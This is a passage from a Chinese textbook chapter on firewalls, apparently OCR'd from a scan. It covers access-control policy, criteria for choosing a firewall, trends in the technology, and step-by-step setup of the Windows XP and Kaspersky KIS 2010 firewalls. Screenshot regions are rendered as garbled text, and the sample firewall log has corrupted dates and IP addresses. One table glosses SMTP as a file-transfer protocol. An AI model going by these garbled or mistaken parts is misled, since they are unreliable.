自 Web 服务 器 的 所 有 访问 请 求 在 被 代理 服务 器 截获 之 后 才 传 给 服务 器 。 对 访问 请 求 的 回 
答 直 接 返回 给 请 求 者 。 


3.5 ”防火墙 的 访问 控制 策略 


访问 控制 策略 就 是 说 明 允 许 使 用 用 户 网 络 设备 进行 的 访问 类 型 。 例 如 ,用 户 防火 墙 的 
策略 可 以 是 “内 部 用 户 可 以 访问 Internet Web 站 点 和 FTP 站 点 或 发 送 SMTP 电子 邮件 ,但 
只 允许 来 自 Internet 的 SMTP 邮件 进入 内 部 网 络 ”。 内 容 清 楚 的 访问 控制 策略 有 助 于 保证 
正确 选择 防火 墙 产品 。 

一 个 内 部 网 络 的 不 同 部 分 也 可 能 使 用 访问 控制 策略 。 例 如 ,用 户 可 能 具有 WAN 连接 ， 
以 支持 商业 伙伴 的 活动 。 这 样 ,用户 可 能 希望 限制 通过 此 连接 进行 访问 的 范围 ,以 保证 它们 
确实 被 用 于 工作 目的 。 

访问 控制 策略 规定 了 网 络 不 同 部 分 允许 的 数据 流向 ,还 会 指定 哪些 类 型 的 传输 是 允许 
的 ,哪些 传输 将 被 阻塞 。 在 指定 访问 控制 策略 时 ,用 户 可 以 使 用 许多 不 同 的 参数 说 明 传 
输 流 。 

表 3-1 列 出 了 可 以 使 用 的 一 些 普通 应 用 说 明 。 

表 3-1 访问 控制 描述 符 
说 明 内 容 规 定 
按 信息 的 流向 规定 允许 的 传输 行为 。 例 如 由 Internet 传人 内 部 网 络 ( 和 站) 的 信息 或 从 内 
部 网 络 发 送 到 Internet( 出 站 ) 的 信息 
访问 的 服务 器 应 用 的 服务 类 型 。 例 如 Web 访问 (HTTP) .文件 传输 协议 (FTP) .简单 文件 
传输 协议 (SMTP) 


有 时 除 制定 传输 方向 外 还 需要 更 详细 的 说 明 。 例 如 , 某 公 司 可 能 希望 允许 入 站 的 HTTP 
着 定 主机 | 访问 ,但 只 允许 访问 某 台 指定 的 计算 机 。 相 反 , 该 公司 可 能 只 有 一 个 部 门 需要 由 Internet 
Web 服务 器 访问 

许多 公司 的 某 些 业务 只 需要 特定 的 人 员 完 成 制定 的 工作 ,而 不 想 让 每 个 人 都 具有 此 种 访问 
能 力 。 例 如 ,公司 的 CFO 可 能 需要 通过 Internet 访问 内 部 网 络 , 因 为 他 总 在 外 地 出 差 。 这 
样 , 完 成 访问 控制 策略 的 设备 必须 对 每 个 试图 访问 的 人 进行 授权 检查 保证 只 有 CFO 可 以 
进入 


用 户 个 大 
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续 表 
说 明 内 容 规定 


有 时 ,公司 需要 对 访问 进行 限制 ,只 允许 在 一 天 中 的 某 些 时 刻 进 行 访 问 。 例 如 ,访问 技术 


因 呈 策略 中 可 以 规定 * 内 部 用 户 只 能 在 5:00PM 和 7:00AM 之 间 访问 Internet Web 服务 器 .” 


有 时 使 用 公共 网 络 ( 如 帧 中 继 或 Internet) 发 送 私 用 数据 十 分 方便 。 访问 控制 策略 可 以 规 


A 如 
公用 或 私 用 | 定 一 种 或 多 种 类 型 的 数据 包 在 指定 主机 或 整个 网 络 段 中 的 传输 是 必须 加 密 的 


公司 可 能 希望 根据 用 户 带宽 限制 访问 活动 。 例 如 假设 公司 里 有 一 台 Web 服务 器 可 以 供 
Internet 访问 ,并 且 希 望 保证 对 它 的 访问 总 能 够 得 到 回应 。 该 公司 可 能 会 在 访问 控制 策略 
服务 质量 中 规定 允许 内 部 用 户 访问 Internet, 但 如 果 有 潜在 客户 正在 访问 Web 服务 器 时 ,内 部 用 户 
的 访问 被 限制 在 某 种 带宽 范围 之 内 。 当 该 客户 访问 完毕 时 ,内 部 用 户 就 可 以 使 用 百 分 之 
百 的 带宽 访问 Internet 资源 


部 


3.6 防火墙 的 选择 原则 


设计 和 选用 防火 墙 首先 要 明确 哪些 数据 是 必须 保护 的 ,这 些 数据 被 侵入 会 导致 什么 样 
的 后 果 及 网 络 不 同 区 域 需要 什么 等 级 的 安全 级 别 。 不 管 采用 原始 设计 还 是 使 用 现成 的 防火 
墙 产品 ,对 于 防火 墙 的 安全 标准 ,首先 要 根据 安全 级 别 确定 。 其 次 设计 或 选用 防火 墙 必须 与 
网 络 接口 匹配 。 防 火 墙 可 以 是 软件 或 硬件 模块 ,并 能 集成 于 网 桥 .路 由 器 .网 关 等 设备 之 中 。 

面 对 市 场 上 数量 繁多 的 防火 墙 产 品 , 如 何 选择 最 适合 于 用 户 的 产品 呢 ? 这 应 当 从 安全 
策略 开始 考虑 。 


3.6.1 防火 墙 自身 安全 性 的 考虑 


大 多 数 人 在 选择 防火 墙 时 都 将 注意 力 放 在 防火 墙 如 何 控制 连接 以 及 防火 墙 支持 多 少 种 
服务 上 ,但 往往 忽略 一 点 ,防火 墙 也 是 网 络 上 的 主机 设备 ,也 可 能 存在 安全 问题 。 防 火 墙 如 
果 不 能 确保 自身 安全 ,即使 防火 墙 的 控制 功能 再 强 , 也 终究 不 能 完成 保护 内 部 网 络 的 任务 。 

大 部 分 防火 墙 都 安装 在 一 般 的 操作 系统 上 ,如 UNIX, Windows 系统 等 。 在 防火 墙 主 
机 上 执行 的 除了 防火 墙 软件 外 ,所 有 的 程序 、 系 统 核 心 , 大 多 来 自 操作 系统 本 身 的 原 有 程序 。 

当 防 火 墙 上 所 执行 的 软件 出 现 安全 漏洞 时 ,防火 墙 本 身 也 将 受到 威胁 。 此 时 ,任何 防火 
墙 控制 机 制 都 可 能 失效 ,因为 当 一 个 黑客 取得 了 防火 墙 上 的 控制 权 以 后 ,黑客 几乎 可 为 所 欲 
为 地 修改 防火 墙 上 的 存 取 规 则 ,进而 侵入 更 多 的 系统 。 因 此 ,防火 墙 自 身 仍 应 有 相当 高 的 安 
全 保护 。 


3.6.2 防火墙 应 考虑 的 特殊 需求 


对 于 企业 安全 政策 往往 有 些 特殊 需求 不 是 每 一 个 防火 墙 都 能 提供 的 ,这 是 选择 防火 墙 
需 考虑 的 因素 之 一 ,常见 的 需求 如 下 : 
1. IP 转换 (IP address translation ) 
进行 IP 转换 有 两 个 好 处 : 其 一 是 隐藏 内 部 网 络 真正 的 卫 , 这 可 以 使 黑客 无 法 直接 攻击 
内 部 网 络 ,也 是 增强 防火 墙 自身 安全 性 的 重要 保障 ; 另 一 个 是 可 以 让 内 部 使 用 保留 的 IP, 这 
对 许多 IP 不 足 的 企业 是 有 益 的 。 
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2. 双重 DNS 

当 内 部 网 络 使 用 没有 注册 的 IP 地 址 或 是 防火 墙 进行 IP 转换 时 ,DNS 也 必须 经 过 转 
换 。 因 为 ,同样 的 一 个 主机 在 内 部 的 IP 与 给 予 外 界 的 IP 不 同 ,有 的 防火 墙 会 提供 双重 
DNS, 有 的 则 必须 在 不 同 主机 上 各 安装 一 个 DNS。 

3. 虚拟 企业 网 络 (VPN) 

VPN 可 以 在 防火 墙 与 防火 墙 或 移动 的 Client 间 对 所 有 网 络 传输 的 内 容 加 密 ,建立 一 个 
虚拟 通道 ,让 两 者 间 感 觉 是 在 同一 个 网 络 上 ,可 以 安全 且 不 受 拘 东 地 互相 存 取 。 这 对 总 公司 
与 分 公司 之 间或 公司 与 外 出 的 员工 之 间 , 需 要 直接 联系 又 不 愿 花 费 大 量 金 钱 , 申 请 专线 或 用 
长 途 电话 拨号 连接 时 ,将 会 非常 有 用 。 

4. 扫 毒 功能 

大 部 分 防火 墙 都 可 以 与 防 病毒 防火 墙 搭配 实现 扫 毒 功能 。 有 的 防火 墙 则 可 以 直接 集成 
扫 毒 功能 ,差别 只 是 扫 毒 工作 是 由 防火 墙 完 成 ,还 是 由 另 一 台 专 用 的 计算 机 完成 。 

S， 特殊 控制 需求 

有 时 候 企 业 会 有 特殊 的 控制 需求 ,如 限制 只 有 特定 使 用 者 才能 发 送 E-mail, FTP 只 能 
使 用 GET( 下 载 ) 文 件 不 能 使 用 PUT( 上 载 ) 文 件 ,限制 同时 上 网 人 数 、 使 用 时 间或 Block 
Java,ActiveX 等 ,应 依 需求 不 同 而 定 。 


3.6.3 ”防火 墙 选择 须知 


当 规 划 网 络 时 ,不 能 不 考虑 整体 网 络 的 安全 性 。 而 谈 到 网 络 安全 ,就 不 能 忽略 防火 墙 的 
功能 。 防 火 墙 产品 往往 有 上 千 种 ,如 何在 其 中 选择 最 符合 需要 的 产品 ,是 用 户 最 关心 的 事 。 

在 选 购 防 火 墙 软件 时 ,应 该 考虑 以 下 几 点 : 

(1) 一 个 好 的 防火 墙 应 该 是 一 个 整体 网 络 的 保护 者 。 

一 个 好 的 防火 墙 应 该 以 整体 网 络 保护 者 自居 , 它 所 保护 的 对 象 应 该 是 全 部 的 Intranet， 
并 不 仅 是 那些 通过 防火 墙 的 使 用 者 。 

(2) 一 个 好 的 防火 墙 必须 能 弥补 其 他 操作 系统 的 不 足 。 

一 个 好 的 防火 墙 必须 是 建立 在 操作 系统 之 前 而 不 是 在 操作 系统 之 上 ,所 以 操作 系统 有 
的 漏洞 可 能 并 不 会 影响 到 一 个 好 的 防火 墙 系统 所 提供 的 安全 性 。 由 于 硬件 平台 的 普及 以 及 
执行 效率 的 因素 ,大 部 分 企业 均 会 把 对 外 提供 各 种 服务 的 服务 器 分 散 至 许多 操作 平台 上 ,但 
在 无 法 保证 所 有 主机 安全 的 情况 下 ,选择 防火 墙 作为 整体 安全 的 保护 者 是 非常 明智 的 。 这 
正 说 明了 操作 系统 提供 的 安全 级 别 并 不 一 定 会 直接 对 整体 安全 造成 影响 ,因为 一 个 好 的 防 
火 墙 必须 能 弥补 操作 系统 的 不 足 。 

(3) 一 个 好 的 防火 墙 应 该 为 使 用 者 提供 不 同 平台 的 选择 。 

由 于 防火 墙 并 非 完全 由 硬件 构成 ,所 以 软件 (操作 系统 ) 所 提供 的 功能 以 及 执行 效率 、 使 用 
者 的 操作 意愿 及 熟悉 程度 都 会 影响 防火 墙 的 整体 效果 。 因 此 一 个 好 的 防火 墙 不 但 本 身 要 有 良 
好 的 执行 效率 ,也 应 该 提供 多 平台 的 执行 方式 供 使 用 者 选择 , 毕 竞 使 用 者 才 是 完全 的 控制 者 。 
使 用 者 应 该 选择 一 套 符合 现 有 环境 需求 的 软件 ,而 非 为 了 软件 的 限制 而 改变 现 有 环境 。 

(4) 一 个 好 的 防火 墙 应 能 向 使 用 者 提供 完善 的 售后 服务 。 

由 于 有 新 的 产品 出 现 ,就 会 有 人 研究 新 的 破解 方法 ,所 以 一 个 好 的 防火 墙 生产 商 必须 有 
一 个 庞大 的 组 织 作为 使 用 者 的 安全 后 慎 。 防 火 墙 安装 和 投入 使 用 后 ,并 非 万 事 大 吉 。 要 想 
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充分 发 挥 它 的 安全 防护 作用 ,必须 对 它 进 行 跟踪 和 维护 ,要 与 商家 保持 密切 的 联系 ,时 刻 关 
注 商 家 的 动态 。 因 为 商家 一 旦 发 现 其 产品 存在 安全 漏洞 ,将 会 发 布 补救 产品 ,此 时 应 尽快 确 
认真 伪 ( 防 止 特洛伊 木马 等 病毒 ), 并 对 防火 墙 软件 进行 更 新 。 


3.7 ”防火墙 技 术 的 展望 


防火 墙 技 术 作为 目前 用 来 实现 网 络 安全 的 一 种 手段 ,主要 是 用 来 拒绝 未 经 授权 的 用 户 
访问 网 络 资源 、 存 取 敏感 数据 ,同时 允许 合法 用 户 不 受 妨 碍 地 访问 网 络 资源 。 如 果 使 用 得 
当 , 可 以 在 很 大 程度 上 提高 网 络 安全 性 能 ,但 是 并 不 能 百分之百 解决 网 络 上 的 信息 安全 问 
题 。 比 如 防火 墙 虽然 能 对 外 部 网 络 的 攻击 进行 有 效 的 防护 ,但 对 来 自 内 部 网 络 的 攻击 却 无 
能 为 力 。 事 实 上 , 据 统 计 ,60% 以 上 的 网 络 安全 问题 来 自 内 部 网 络 ,而 且 网 络 程序 和 网 络 管 
理 系统 中 也 可 能 存在 缺陷 。 因 此 网 络 安全 单 靠 防火 墙 是 不 够 的 ,还 需要 考虑 其 他 技术 和 非 
技术 的 因素 ,如 信息 加 密 技 术 ,制定 法 规 、 提 高 网 络 管理 人 员 的 安全 意识 等 。 现 在 网 络 防 火 
墙 技术 在 不 断 地 发 展 , 值 得 研究 的 课题 很 多 ,例如 ,如 何 对 一 个 防火 墙 产品 进行 危险 评估 ;如 
何 对 网 络 中 传输 的 敏感 数据 进行 加 密 ,数据 应 在 网 络 哪 一 层 加 密 ,采用 传统 密码 体制 还 是 公 
钥 密 码 体制 ;如 何在 网 络 协议 中 增加 鉴别 机 制 对 通信 双方 的 身份 进行 鉴别 ;防火 墙 算法 设 
计 , 知 识 工程 和 专家 系统 在 防火 墙 安全 策略 研究 中 的 应 用 ;如 何 减 少 对 网 络 性 能 的 影响 , 设 
计 开 放 的 与 硬件 平台 和 软件 平台 无 关 的 防火 墙 产品 等 。 


3.7.1 防火 墙 发 展 趋势 


鉴于 Internet 发 展 的 迅猛 势头 和 防火 墙 产 品 的 更 新 步伐 ,要 全 面 展 望 防火 墙 技术 的 发 
展 几 乎 是 不 可 能 的 。 但 是 ,从 产品 种 类 及 功能 上 ,可 以 看 出 一 些 动 向 和 趋势 ,下 面 诸 点 有 可 
能 是 防火 墙 产品 下 一 步 的 发 展 走向 。 

(1) 多 级 过 滤 技术 。 指 防火 墙 采用 多 级 过 滤 措 施 ,并 辅 以 鉴别 手段 。 在 分 组 过 滤 (网络 
层 ) 一 级 ,过 滤 掉 所 有 的 源 路 由 分 组 和 假冒 的 IP 源 地 址 ;在 传输 层 一 级 ,遵循 过 滤 规则 ,过 波 
掉 所 有 禁止 出 或 人 的 协议 和 有 害 数据 包 , 如 nuke 包 、 圣 诞 树 包 等 ;在 应 用 网 关 ( 应 用 层 ) 一 
级 ,能 利用 FTP,SMTP 等 各 种 网 关 ,控制 和 监测 Internet 提供 的 所 用 通用 服务 。 

(2) 病毒 防火 墙 。 指 防火 墙 具 有 病毒 防护 功能 。 可 以 有 效 地 防止 病毒 在 网 络 中 传播 ， 
比 等 待 攻击 的 发 生 更 加 积极 。 

(3) 集中 式 管理 。 分 布 式 和 分 层 的 安全 结构 是 将 来 的 趋势 。 集 中 式 管理 可 以 降低 管理 
成 本 ,并 保证 在 大 型 网 络 中 安全 策略 的 一 致 性 。 快 速 响应 和 快速 防御 也 要 求 采用 集中 式 管 
理 系统 。 目 前 这 种 分 布 式 防 火 墙 早已 由 Cisco( 思 科 )、3Com 等 大 的 网 络 设备 开发 商 开发 成 
功 , 也 就 是 目前 所 称 的 "分 布 式 防 火 墙 ? 和 ”嵌入 式 防火 墙 ”。 

(4) 强大 的 审计 功能 和 自动 日 志 分 析 功能 。 这 两 点 的 应 用 可 以 更 早 地 发 现 潜在 的 威胁 
并 预防 攻击 的 发 生 。 日 志 功 能 还 可 以 使 管理 员 有 效 地 发 现 系 统 中 存 的 安全 漏洞 ,以 便 及 时 
地 调整 安全 策略 等 ,具有 非常 大 的 帮助 。 不 过 具有 这 种 功能 的 防火 墙 通常 是 比较 高 级 的 , 早 
期 的 静态 包 过 滤 防 火 墙 是 不 具有 的 。 
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3.7.2 防火 墙 需求 的 变化 


根据 上 述 趋势 ,选择 防火 墙 的 标准 将 集中 在 以 下 几 个 方面 : 
(1) 易于 管理 性 。 

(2) 应 用 透明 性 。 

(3) 鉴别 与 加 密 功 能 。 

(4) 操作 环境 和 硬件 要 求 。 

(5) VPN 的 功能 。 

(6) 接口 的 数量 。 

(7) 成 本 。 


3.8 防火 墙 应 用 实例 


3.8.1 Windows 自 带 防 火 墙 


从 Windows XP 开始 ,Windows 系列 操作 系统 都 带 有 防火 墙 功 能 ,微软 公司 一 直 在 稳 
步 改善 不 断 推出 的 系统 的 防火 墙 功能 。Windows 防火 墙 是 一 个 基于 主机 的 状态 防火 墙 , 它 
丢弃 所 有 未 请 求 的 传人 流量 , 即 那 些 既 没有 对 应 于 为 响应 计算 机 的 某 个 请 求 而 发 送 的 流量 
(请 求 流量 ) ,也 没有 对 应 于 已 指定 为 允许 的 未 请 求 的 流量 (异常 流量 )。Windows 防火 墙 提 
供 某 种 程度 的 保护 ,避免 那些 依赖 未 请 求 的 传人 流量 来 攻击 网 络 上 的 计算 机 的 恶意 用 户 和 
程序 。 

Windows XP SP2 所 带 的 防火 墙 是 取代 原先 版 本 的 Internet Connection Firewall ,默认 
状态 下 防火 墙 在 所 有 的 网 卡 界面 均 为 开启 状态 ,无 论 是 Windows XP 全 新 安装 还 是 升级 安 
装 ,这 个 选项 都 可 以 在 默认 的 情况 下 给 网 络 连接 提供 更 多 的 保护 。 在 大 多 数 情况 下 ,系统 会 
自动 提醒 用 户 进行 安全 设置 ,包括 杀毒 软件 .防火墙 以 及 系统 补丁 自动 更 新 , 当 Windows 
XP 系统 打开 防火 墙 后 ,如 果 设 置 得 当 可 以 从 一 定 程 度 上 加 强 系统 的 安全 。 

1. 启用 和 关闭 Windows 防火 墙 

启用 和 关闭 Windows XP 中 的 防火 墙 操作 如 下 。 单 击 “ 开 始 ”| “控制 面板 ”, 在 控制 面板 
中 双击 “Windows 防火 墙 ”图 标 ,打开 “Windows 防火 墙 ” 窗 口 ,如 图 3-10 所 示 , 选 中 “启用 
(推荐 )”, 或 者 “关闭 (不 推荐 )”。 

在 “常规 ”选项 卡 中 有 “启用 (推荐 )”、“ 不 允许 例外 ”以 及 “关闭 (不 推荐 )”3 个 选项 。“ 启 
用 (推荐 ) ”表示 启用 Windows 防火 墙 ; 当 勾 选 “ 不 允许 例外 ”后 Windows 防火 墙 将 拦截 所 有 
的 连接 该 计算 机 的 网 络 请 求 , 包括 在 “例外 ”选项 卡 中 列表 的 应 用 程序 和 系统 服务 。 当 需要 
为 计算 机 提供 最 大 程度 的 保护 时 (例如 ,连接 到 旅馆 或 机 场 中 的 公用 网 络 时 ,或 者 当 和 危险 病 
毒 或 蠕虫 病毒 正在 Internet 上 传播 时 ) ,可 以 使 用 该 设置 。 另 外 ,防火 墙 也 将 拦截 文件 和 打 
印 机 共享 ,以 及 网 络 设备 的 侦 测 。 

使 用 “不 允许 例外 ”选项 的 Windows 防火 墙 比较 适用 于 连接 在 公共 网 络 上 的 个 人 计算 
机 , 它 拦截 了 绝 大 部 分 应 用 程序 ,但 仍然 可 以 浏览 网 页 ,发送 接收 电子 邮件 ,或 者 使 用 即时 通 
信 软 件 。 

六 多 于 


生 Windows 防火 菩 


名 让 
此 设置 阻止 所 有 外 部 源 连 接 到 i 算 机 ， 除 了 在 “例外 ”选项 卡 
上 选择 的 说 外 。 


的 @m) 
村 和 


口 关闭 (不 推荐 ) E) 
避免 使 用 此 设置 。 关 闭 Windows 防火 墙 可 能 使 计算 机 更 容易 受 
病毒 和 入 侵 者 的 攻击 。 


了 解 findows 防火 墙 的 其 地 信息 


图 3-10 启动 和 关闭 自 带 防火 墙 


“例外 ”选项 卡 中 允许 添加 阻止 规则 例外 的 程序 和 端口 来 允许 特定 的 进 站 通信 。 
2. 设置 例外 ,人 允许 程序 通过 Windows 防火 墙 通信 
在 “常规 ”选项 卡 中 不 勾 选 “ 不 允许 例外 ”, 然 后 单 击 “ 例 外 ”标签 ,如 图 3-11 所 示 , 在 “ 程 
序 和 服务 ”列表 中 会 显示 通过 Windows 防火 墙 的 程序 和 服务 , 勾 选 相应 选项 表示 通过 防火 
墙 , 单 击 “添加 程序 ”按钮 添加 允许 通过 防火 墙 的 程序 。 如 图 中 设置 Fetion 程序 等 允许 通过 
防火 墙 。 
至 Windows 防火 篇 
[ 刹 内 [证 


Windows 防火 墙 正在 阻止 除 下 列 选 定 程序 和 服务 之 外 的 传 入 网 络 连接 。 添 
加 例外 将 使 部 分 程序 更 好 地 工作 ， 但 可 能 增加 安全 风险 。 


| 
程序 和 服务 人 E) 

名 称 

回 Fetion 

回 FetionyW 

回 LiveUpdate360 

回 Sogou Finyin Service 

口 WPnp 框架 

回 Windows Messenger 

口 文件 和 打印 机 共享 

回 远 程 协助 

口 远 程 点 面 


ra ，] 医 加 请 D oO) ] [编辑 四) 


YWindows 防火 墙 阻止 程序 时 通知 我 @@) 
企 许 例外 存在 什么 风 院 ? 


图 3-11 设置 例外 选项 


。 905 。 


对 于 选中 的 程序 ,可 以 对 其 通信 的 范围 和 端口 进行 设置 。 在 “例外 ”选项 卡 中 ,选中 相应 
程序 , 单 击 “ 编 辑 ” 按 钮 可 设置 其 范围 ,如 图 3-12 所 示 。 单 击 图 3-11 中 的 “添加 端口 ”按钮 ， 
可 以 更 改 应 用 程序 允许 访问 的 端口 ,如 图 3-13 所 示 。 输 入 名 称 后 在 “端口 号 ”中 输入 允许 的 
端口 号 ,然后 选中 TCP 或 者 UDP 网 络 协议 。 


各 (和 包括 Internet 上 或 您 的 网 络 上 的 计算 
售 。 


名 称 : ”本 Fetion 


路 径 : |C:\Progran Files\China Mobile\Fetion\FetionFx. 


避 香 全 -全 复 机 并 且 角 险阻 上 这 些 计算 机 上 的 浦口 或 程序 ， 请 音 击 下 面 的 


汪汪 册 和 计 家 2 入 村 和 三 和 证 IP 地址， 子 网 或 同时 包括 IP 地 


全 任何 计算 机 (包括 Internet 上 的 计算 机 ) 必 ) 
人 〇 羽 我 的 网 络 子 网 ) 如 
个 自 定义 列表 心 ) 


| 
示例 ; 192. 168. 114. 201, 192. 168. 114. 201/255. 255, 255.0 


图 3-12 设置 通信 范围 


启用 和 查看 防火 墙 日 志 
Windows 防火 墙 默 认 不 对 日 志 进 行 记录 ,需要 在 “高 级 "选项 卡 进行 设置 。 单 击 “ 安 全 
志 记录 ”中 的 "设置 ?按钮 ,打开 "日 志 设 置 ?窗口 ,如 图 3-14 所 示 。 分 别 勾 选 “ 记 录 被 丢弃 
Slt 记录 成 功 的 连接 ?选项 ,并 设置 日 志文 件 的 保存 路 径 和 名 称 。 进 行 了 如 上 设置 
后 ,防火 墙 的 日 志 信息 就 被 记录 下 来 。 


记录 选项 
加 记录 被 丢弃 的 数据 包 由) 


加 
Wa i 


日 志文 件 选项 
名 称 吕 ) 
[上 MINDOWS\pfirewall. 1og | [另存 为 如) | 


名 称 四 :| 
请 口 号 @): | 


大 小 限制 0B) 6G): |4096 加 


Orr Owrw 


打开 端口 有 何 风 院 ? 
更 改 范围 E).- 确 王 取消 


图 3-13 端口 设置 图 3-14 “日 志 设置 ?对 话 框 


可 以 打开 日 志文 件 (pfirewall. log) ,查看 重要 的 连接 日 志 记 录 , 了 解 哪些 IP 访问 本 地 
计算 机 ,如 图 3-15 所 示 。 

4. 通过 命令 行进 行 防火 墙 配置 

Windows 防火 墙 的 配置 和 状态 信息 可 以 通过 命令 netsh. exe 获得 。 可 以 使 用 netsh 


6 吉 


置 pfirewall. log - 记事 本 

文件 于) 编辑 于 ) 格式 @@) 查看 () 帮助 人 0 

#Uersion: 1.5 

#Software: Microsoft Windows Firewall 

#Time Format: Local 

#Fields: date time action protocol src-ip dst-ip src-port dst-port size tcpflags tcpsyn tcpack 


28186-87-83 13:14:88 OPEN UDP 18.11.42.211 18.11.5.25 54885 53 -—------—-- 


2818-87-83 CLOSE TCP 18.11.42.211 125.39.188.77 3416 88 - ------ 一 
28198-87-83 DROP UDP 18.11.42.215 18.11.42.255 138 138 2862 - --- -一 -一 RECEIVE 
2818-87-83 DROP UDP 18.11.42.215 18.11.42.255 137 137 78 ------- RECEIUE 
2818-87-83 DROP UDP 18.11.42.215 18.11.42.255 137 137 78 ------- RECEIUE 
26819-87-63 DROP UDP 16.11.42.215 186.11.42.255 137 137 78 - - - - - -- RECEIUE 
26196-87-63 OPEN TCP 16.11.42.-211 125.39.198.77 3416 806--------- 


28196-87-83 
28196-87-83 
28196-87-83 
2818-87-83 


DROP UDP 16.11.42.215 186.11.42.255 137 137 78 ------- RECEIUE 
DROP UDP -189821152-215 18.11-522255 137 137 78 -一 一 一 一 一 一 一 RECEIUE 
DROP UDP 18.11.42.215 18.11.42.255 137 137 78 - - - - - 一- RECEIUE 
DROP UDP 18.11.42.215 18.11.42.255 137 137 78 - - - - -一 RECEIUE 


图 3-15 志 记 录 


firewall 命令 来 获取 防火 墙 信息 和 修改 防火 墙 设 定 ,在 命令 提示 符 下 输入 netsh firewall 命 
令 后 会 显示 其 详细 参数 ,如 图 3-16 所 示 ,使 用 这 些 参 数 可 以 添加 、 删 除 配置、 查看 防火 墙 。 
每 个 参数 中 又 有 多 个 参数 ,如 show 参数 的 下 一 级 参数 如 图 3-17 所 示 ,分 别 可 以 显示 防火 墙 


的 状态 、 人 允许 程序 .端口 等 信息 。 


图 3-16 netsh firewall 命令 参数 


show allowedprogr 
how config 

how currentprofile 
how icmpsetting 


how logging  — 
show multicasthr 
show notification: 
how opmode 


w portopening 
how service 
show state 


3.8.2 卡巴 斯 基 防 火 墙 
1. 卡巴 斯 基 防 火 墙 概述 


上 F 巴 斯 基 (Kaspersky Labs) 是 国际 著名 的 信息 安全 厂商 ,总 部 设 在 俄罗斯 首都 莫斯科 。 
该 厂商 为 个 人 用 户 、 企 业 网 络 提供 反 病毒 、 防 黑客 和 反 垃 圾 邮件 产品 。Kaspersky Internet 
Security(KIS ,卡巴 斯 基 安 全 套装 ) 包 含 防火 墙 组 件 ,能够 提升 局 域 网 络 和 因特网 的 安全 性 。 


oe 


它 保护 计算 机 和 应 用 程序 对 抗 因特网 的 威胁 ,并 且 保 护 计 算 机 以 防范 网 络 上 的 攻击 。 所 有 
网 络 连接 都 要 应 用 防火 墙 规则 ,如果 防火 墙 检测 到 连接 ,将 会 应 用 允许 或 阻止 规则 。 
防火 墙 能 够 从 两 个 级 别 来 防御 不 同类 型 的 攻击 : 网 络 和 应 用 程序 。 
在 网 络 级 别 上 的 保护 ,防火墙 通过 对 数据 包 方 向 、 传 输 协 议和 出 站 数据 包 端 口 等 参数 进 
行 分 析 , 使 用 全 局 包 过 滤 规 则 来 允许 或 阻止 网 络 活动 。 
在 应 用 程序 级 别 上 的 保护 ,通过 应 用 程序 规则 ,对 安装 在 计算 机 上 的 应 用 程序 所 使 用 的 
网 络 资源 进行 管理 。 就 像 网 络 级 别 上 的 保护 一 样 ,应 用 程序 级 别 的 保护 也 是 建立 于 分 析 数 
据 包 的 方向 传输 协议 和 所 使 用 端口 基础 上 的 。 然 而 ,在 应 用 程序 级 别 ,不仅 是 所 有 的 数据 
包 特 征 , 发 送 和 接收 数据 包 的 程序 也 是 监控 的 对 象 。 使 用 应 用 程序 规则 ,能 够 帮助 用 户 配 置 
更 加 有 针对 性 的 保护 ,例如 ,对 于 某 些 应 用 程序 来 说 , 某 个 连接 类 型 是 被 禁止 的 ,但 是 对 于 其 
他 应 用 程序 却 是 允许 出 的 。 
基于 两 种 防火 墙 保护 级 别 , 有 两 种 防火 墙 规则 类 型 ; 
。 包 规则 : 被 用 来 创建 常规 的 网 络 活动 限制 规则 ,而 不 管 安装 的 应 用 程序 类 型 ,例如 
创建 了 一 个 阻止 21 端口 人 站 连接 的 规则 ,任何 使 用 这 个 端口 的 程序 (如 FTP 服务 
器 ) 都 无 法 被 外 部 访问 。 
。 应 用 程序 规则 : 被 用 来 创建 指定 程序 的 网 络 活动 限制 规则 ,例如 端口 80 不 允许 任何 
程序 连接 ,可 以 创建 一 个 规则 仅 允 许 Firefox 使 用 该 端口 。 
包 规 则 和 应 用 程序 规则 都 可 以 是 允许 或 阻止 。 
下 面 以 KIS2010 中 的 防火 墙 为 例 ,具体 讲解 卡巴 斯 基 防 火 墙 的 设置 和 管理 。 
2. 卡巴 斯 基 防 火 墙 设置 
(1) 开启 和 关闭 防火 墙 
防火 墙 是 KIS 2010 的 一 个 组 件 ,打开 KIS 2010, 可 以 看 到 KIS 2010 有 5 个 功能 中 心 ， 
分 别 是 : 保护 中 心 ,安全 中 心 ,扫描 中 心 、 更 新 中 心 和 工具 中 心 。 单 击 “ 保 护 中心 ”, 然 后 选择 
“网 络 在 线 安全 ”, 就 可 以 看 到 防火 墙 功能 了 ,如 图 3-18 所 示 。 单 击 “ 防 火 墙 ”, 弹 出 设置 窗 
口 ,如 图 3-19 所 示 。 选 中 “开启 防火 墙 ” 选 项 ,防火 墙 就 开始 工作 了 。 
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图 3-18 ”KIS 2010 中 的 防火 墙 功能 
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图 3-19 防火 墙 的 开启 和 关闭 


(2) 配置 应 用 程序 规则 
在 KIS 2010 的 防火 墙 中 , 单 击 “ 应 用 程序 规则 ”下 的 “配置 规则 ”按钮 ,可 以 看 到 防火 墙 
对 应 用 程序 的 访问 控制 分 为 4 个 级 别 : 
受信 任 组 : 该 组 中 的 应 用 程序 均 可 被 允许 从 事 任何 网 络 活动 。 
低 限 制 组 : 该 组 中 的 应 用 程序 可 从 事 任何 非 交 互 式 的 网 络 活动 。 当 以 交互 模式 工 


作 时 ,通知 将 显示 在 屏幕 上 ,可 以 使 用 允许 或 禁止 的 连接 ,或 者 使 用 规则 向 导 创 建 
规则 。 
高 限制 组 : 该 组 中 的 应 用 程序 不 可 以 从 事 任何 非 交 互 式 的 网 络 活动 。 当 以 交互 模 
式 工 作 时 ,通知 将 显示 在 屏幕 上 ,可 以 使 用 允许 或 禁止 的 连接 ,或 者 使 用 规则 向 导 创 
建 规则 。 

。 不 信任 组 : 该 组 中 的 应 用 程序 均 禁 止 从 事 任何 非 交 互 式 的 网 络 活动 。 

由 于 低 限制 组 中 也 有 部 分 程序 不 安全 ,所 以 需要 在 总 的 规则 中 先 禁止 整个 低 限 制 组 访 
问 网 络 , 如 图 3-20 所 示 。 
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图 3-20 ”修改 整个 低 限制 组 的 访问 规则 


其 后 再 对 于 单独 的 程序 访问 控制 进行 具体 设置 。 步 又 如 下 : 
@O 在 防火 墙 设置 首 界面 , 单 击 “ 设 置 ”, 进 入 访问 程序 列表 。 
@ 选中 要 修改 的 “ 低 限 制 组 ”的 程序 ,本 例 中 选择 Microsoft Developer Studio, 然 后 单 
